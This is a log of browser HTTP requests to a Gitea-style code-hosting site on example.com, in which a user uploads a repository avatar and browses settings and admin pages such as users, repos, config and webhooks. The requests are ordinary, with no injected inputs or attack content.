{"method": "GET", "target": "/avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/user/settings", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/settings", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "POST", "target": "/alice/tools/settings/avatar", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 4377", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykD1bO7T1SED3rJ5v", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/settings", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "------WebKitFormBoundarykD1bO7T1SED3rJ5v\r\nContent-Disposition: form-data; name=\"avatar\"; filename=\"avatar.png\"\r\nContent-Type: image/png\r\n\r\n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 truncated
{"method": "GET", "target": "/alice/tools/settings", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/settings", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US; flash=success%3DThe%2Brepository%2Bavatar%2Bhas%2Bbeen%2Bupdated."], "body": ""}
{"method": "GET", "target": "/repo-avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/settings", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/settings/collaboration", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/user/search_candidates?q=bob", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "X-Requested-With: XMLHttpRequest", "Referer: http://example.com/alice/tools/settings/collaboration", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/avatars/4b9bb80620f03eb3719e0a061c14283d", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/settings/collaboration", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/user/search_candidates?q=bob", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/user/settings/applications", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/users", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/users?q=bob", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/emails", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/emails?q=example.com", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/orgs", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/repos", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/repos?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/packages", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/auths", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/config", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/config/settings", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/monitor/stats", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/monitor/queue", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/monitor/cron", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/hooks", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/img/gogs.ico", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/img/feishu.png", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/img/slack.png", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/img/discord.png", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/img/telegram.png", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/img/dingtalk.ico", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/img/msteams.png", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/img/wechatwork.png", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/img/packagist.png", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/img/sourcehut.svg", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/hooks", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/notices", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/users/2", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/avatars/4b9bb80620f03eb3719e0a061c14283d?size=128", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/users/2", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/users/new", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/user/settings/account", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
